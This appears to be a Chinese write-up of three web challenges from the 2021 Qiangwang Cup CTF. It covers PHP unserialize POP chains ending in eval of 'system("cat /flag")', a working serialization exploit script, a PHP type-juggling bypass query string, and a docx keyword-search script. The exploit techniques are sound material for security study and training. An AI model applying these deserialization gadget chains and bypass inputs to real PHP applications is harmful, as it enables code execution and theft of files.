强网杯2021部分web wp

0x01 pop_master

打开题目

<?php
include"class.php";
//class.php.txt
highlight_file(__FILE__);
$a=$_GET['pop'];
$b=$_GET['argv'];
$class=unserialize($a);
$class->XXXXXX($b);  //随机生成6位长度的函数

根据提示信息 下载源码

我滴个乖乖 2M多的链 16万行

class NXlGlW{
    public $hGYbeeG;
    public function HRD4CW($y3Cae){
		eval($y3Cae);

    }
    public function C3akk9($MSL6W){
		eval($MSL6W);

    }
}


class qAARvi{
    public $E0cUWyC;
    public function GlSPMd($XHiV9){
		$this->BrLVt = "GAVzp";
		if(method_exists($this->E0cUWyC, 'YAF1Wt')) $this->E0cUWyC->YAF1Wt($XHiV9);
		if(method_exists($this->E0cUWyC, 'KfVcH5')) $this->E0cUWyC->KfVcH5($XHiV9);

    }
    public function olsElL($t43I8){
		$this->v35pY = "TNiWd";
		eval($t43I8);

    }
}
//......

函数名 类名随机 生成 最总链成 用eval 执行system(“cat /flag”);

太菜了不会写脚本 用手工找几十个就行了,脚本可以看下大佬们的参考下

0x02 [强网先锋]赌徒

打开网站 看到一串提示信息，
www.zip 下载源码

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
	
    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
	
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
	
    public function __get($name){
        $function = $this->a;
        return $function();
    }
	
    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
	
    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
	
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
	
    public function __get($name){
        $function = $this->a;
        return $function();
    }
	
    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>

很明显反序列化 pop链 最终执行 Get_hint file_get_contents 获得flag

__invoke()  //当尝试以调用函数的方式调用一个对象时，__invoke() 方法会被自动调用。
__get()  //当我们试图获取一个不可达属性时(比如private)，类会自动调用__get函数。

start=》wakeup=》sayhello =》Info=》toString=》this->room=》get =>room=》invoke

<?php
class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
}
class info
{
    public $promise;
}
class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';

}
$info = new info();
$start = new start();
$room = new Room();
$start->name = $info;
$start->name->file['filename']=$room;
$room->a = new room();
echo serialize($start);
/*
$st=new Start();
$st->name=new info();
$st->name->file['filename']=new Room();
$st->name->file['filename']->a=new Room();
print_r(serialize($st));
*/

记得要把 开头的hi 去掉在解码啊~

0x03 [强⽹先锋]寻宝

key1 常见绕过

ppp[number1]=6666a&ppp[number2]=1e10&ppp[number3]=61823470&ppp[number4]=0abcdef&ppp[number5]=null

第二个文件下载了，提示如下：
Mr.Smith先生和Tang在5月份的时候在一个画展进行了接触，并且在某些地方写下了一些东西
我们将该月有关画展的信息做了汇总，希望你能够从中获取一些信息

压缩包用可以分段下载器都可以下载

文件中有五个图片 干扰我好久

最终发现key2以明文形式存在 docx中

key2

贴出寻找脚本

import os
from docx import Document
path = r"C:\Users\xxxxx\Desktop\five_month"

str_to_search = "KEY2"#input("请输入要搜索的字段：")

def search_str_in_paragraph(str_to_search, paragraph):
    
    str_index = paragraph.text.index(str_to_search)

    return str_index

for root, dirs, files in os.walk(path, topdown=False):
    for file in files:
        filename = file.split(".")[0]
        ext = file.split(".")[1]
        if ext == "docx":
            doc = Document(os.path.join(root, file))
            for paragraph in doc.paragraphs:
                if str_to_search in paragraph.text:
                    str_index = search_str_in_paragraph(str_to_search, paragraph)
                    print(paragraph.text[str_index-10:str_index+10], "-----", filename, "-----", os.path.join(root, file))